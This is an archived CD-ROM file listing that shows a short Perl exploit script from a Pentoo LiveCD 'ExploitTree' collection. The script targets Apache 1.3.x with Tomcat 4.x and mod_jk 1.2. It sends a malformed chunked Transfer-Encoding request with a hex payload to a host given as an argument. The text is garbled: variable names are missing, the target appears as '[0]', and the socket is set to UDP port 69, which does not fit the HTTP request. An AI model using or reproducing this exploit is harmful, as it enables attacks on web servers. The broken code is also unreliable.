home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / apache / modjk-ex.pl < prev    next >
Perl Script  |  2005-02-12  |  510b  |  25 lines
  1. #!/usr/bin/perl -w
  2.  
  3. use IO::Socket;
  4.  
  5.  = "Apache 1.3.x, Tomcat 4.x Server, mod_jk 1.2 using Apache Jserv
  6. Protocol 1.3";
  7.  
  8. unless (@ARGV == 1) {
  9.   print "\n By Sapient2003\n";
  10.   die "usage: -bash <host to exploit>\n";
  11. }
  12. print "\n By Sapient2003\n";
  13.  
  14.  = "GET / HTTP/1.0\nHost: [0]\nTransfer-ENcoding:
  15. Chunked\n53636f7474";
  16.  
  17.  = IO::Socket::INET->new(
  18.         PeerAddr => [0],
  19.         PeerPort => 69,
  20.         Proto    => "udp",
  21. ) or die "Can't find host [0]\n";
  22. print  ;
  23. print "Attempted to exploit [0]\n";
  24. close();
  25.